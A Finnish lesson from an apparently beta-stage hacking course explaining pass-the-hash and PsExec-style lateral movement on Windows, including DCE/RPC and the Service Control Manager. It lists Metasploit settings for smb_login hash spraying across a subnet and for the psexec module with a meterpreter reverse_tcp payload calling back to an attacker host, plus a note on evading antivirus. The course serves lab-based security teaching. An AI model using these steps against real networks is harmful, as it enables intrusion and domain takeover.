## NTLM-tiivisteen kokeilu

Kun sinulla on yhden palvelimen Administrator-käyttäjän NTLM-tiiviste tiedossa, kannattaa kokeilla samaa tiivistettä (ja käyttäjää) muihinkin palvelimiin verkossa.

Voit tehdä tämän Metasploitin auxiliary/scanner/smb/smb\_login moduulilla. Parametrit: 

- **RHOSTS**: 10.0.0.0/24
- **SMBUser**: Administrator
- **SMBPass**: aad3b435b51404eeaad3b435b51404ee:62...(täydennä)

![](sanity:image-e2bece9b65b41e79699c01980c18ee73b643a8c5-1744x192-png)

![](sanity:image-dd05a90c3a9e70f88ff26d002f573549714e4ffd-1914x376-png)

---

## Etäyhteys

On monta eri tapaa käyttää NTLM-tiivistettä palvelimen haltuunottamiseksi. Tutustumme nyt menetelmään joka tunnetaan nimellä "PsExec". Ennen kuin hypätään siihen, käydään läpi DCE/RPC ja SCM.

---

## DCE/RPC

DCE/RPC (Distributed Computing Environment/Remote Procedure Call) on protokolla, jota käytetään kommunikaatiossa hajautetuissa järjestelmissä. Se mahdollistaa prosessien välisen tiedonvaihdon ja toimintojen suorittamisen etäyhteyden avulla. DCE/RPC-protokollaa käytetään laajalti Windows-järjestelmissä, mukaan lukien palveluiden etäkäynnistämiseen.

Windowsissa DCE/RPC-protokolla on keskeinen tekijä monissa verkkopalveluissa ja -toiminnoissa. Kun halutaan käynnistää palvelu etänä, esimerkiksi toiselta tietokoneelta tai palvelimelta, DCE/RPC tulee kuvaan.

---

## SCM (Service Control Manager)

SCM on Windowsin DCE/RPC-rajapinta jonka kautta voi hallita Windows-palveluja (service). SCM RPC-palvelun UUID on 367ABB81-9844-35F1-AD32-98F038001003.

---

## PsExec

PsExec ei sinänsä ole mikään virallinen Windowsin protokolla, vaan yleistynyt nimi sille, että suoritetaan Windowsissa komentoja käynnistämällä etänä palvelu SCM RPC-rajapinnan kautta. Palvelu voi olla vaikka "cmd.exe" ja sillä voi olla komento parametrina.

Toinen vaihtoehto on ladata palvelimelle suoritettava tiedosto SMB-jaon kautta ja käynnistää se palveluna, mutta tämä jää paljon helpommin kiinni antivirusjärjestelmään kuin esimerkiksi powershell-komennon ajaminen muistissa.

---

## Metasploitin psexec-moduuli

Psexec-tyylisiä etähallintatyökaluja on monia, Microsoftillakin on omansa (jonka nimi on psexec, josta nimi on lähtöisin). Metasploitista löytyy myös omansa, exploit/windows/smb/psexec.

Tässä on kuva Metasploitin lähdekoodista psexec-moduulista. Huomaa SCM UUID ja DPE/RPC viittaus.

![](sanity:image-b912633a02f6a032359053dd454662230d4b7d33-1486x132-png)

Moduuli toimii seuraavasti: 

- Kirjaudutaan SMB:llä IPC-jakoon.
- Käynnistetään SCM:llä palvelu joka käynnistää powershell.exe komennon ja antaa sille Metasploitin luoman powershell-skriptin parametrina.
- Powershell-skripti avaa meterpreter-yhteyden.

Jos powershellia ei ole asennettu, moduuli osaa kokeilla vaihtoehtoista tapaa, kuten ladata binääri levylle ja käynnistää palvelu siitä.

Moduulin asetukset ovat samat tutut.

- set payload windows/meterpreter/reverse\_tcp
- set lhost 10.0.0.100
- set lport 1234
- set rhost 10.0.0.2
- set SMBUser Administrator
- set SMBPass aad3b435b51404eeaad3b435b51404ee:62...

![](sanity:image-bbf8787114b99e4fc3cdc8937aa66ca57ad48f72-1642x520-png)

---

## Harjoitus

@exercise cfd4ff29a277

@exercise f43a125f46f1


Tämä on skenaario, älä turhaan sulje sitä saman kurssialueen (Skenaario 1) sisällä ettet menetä edistymistäsi. Lisääthän aikaa tarvittaessa. Skenaariolla voi kestää jokunen minuutti käynnistyä, odotathan kärsivällisesti.

Evilcorp - Skenaario 1

Psexec ja Pass the Hash (PtH) hyökkäys toimialueohjaimelle (domain controller)

Windows ja Active Directory hyökkäykset sekä puolustus

Windows on laajalti käytössä lukuisien yritysten ja oppilaitosten IT-ympäristössä, ja Windows-verkkoja hallitaan tyypillisesti Active Directory -toimialueen avulla.

Tällä kurssilla tutustumme Windows-käyttöjärjestelmän ja Active Directoryn turvallisuuteen sekä hyökkääjän että puolustajan näkökulmasta. Osa tehtävistä on siis hyökkäyksiä ja osa on kovennustehtäviä.

Kurssin alue (Windows, hyökkäys ja puolustus) on aika laaja. Jos sitä lähtisi opiskelemaan teoria edellä, kurssista tulisi tylsä. Jos taas teoriaa ei ole ollenkaan, ei ole hakkerointiakaan, koska sekä hyökkäys että puolustus perustuu ymmärrykseen siitä mitä tapahtuu.

Valitsimme näistä syistä kurssin toteutustavaksi skenaario-pohjaisen lähestymistavan, jossa yhdessä kurssin osiossa käsitellään aina yksi "skenaario" johon saattaa kuulua jokunen hyökkäys, jokunen työkalu ja jokunen kovennus jolla hyökkäykseltä voidaan suojautua.

Pyritään oikeasti ymmärtämään asiat

Teoria käydään läpi pieninä palasina käytännön yhteydessä, aina vasta kun se on välttämätöntä. Asiat koitetaan ymmärtää bittitasolla, jotta voidaan välttää tällaisille kursseille valitettavan tyypillistä ilmiötä jossa oppilas tietää kokeilla psexec-hyökkäystä NTLM-tiivisteen haltuun saatuaan, mutta ei lainkaan ymmärrä mitä hyökkäys tekee ja miten se toimii (spoileri: psexec perustuu Service Control Manager RPC-rajapintaan jolla käynnistetään haluttu komento Windows-palveluna kohdepalvelimella). Kurkitaan pellin alle Wiresharkilla ja esimerkiksi Metasploitin moduulien lähdekoodia kaivamalla.

Tällä tavalla laajasta ja teoriantäyteisestä aiheesta tulee toivottavasti hauska ja helposti askel askelelta lähestyttävä.

Oletko valmis murtautumaan EvilCorpin yritysverkkoon?

Kurssi ei edellytä osaamista Windows-ympäristöistä, mutta muuten perusjutut kuten Linux, tietoverkot, nmap jne. olisi hyvä olla vyön alla.Tervetuloa kurssille!

Tämä kurssi on vielä rakenteilla, skenaarioita tulee lisää.

Tämä kurssi on BETA-tilassa, kerrothan jos havaitset vinoon jääneitä bittejä.

Psexec ja Pass the Hash (PtH) hyökkäys toimialueohjaimelle (domain controller)

Hakkeroinnin oppiminen alkaa tästä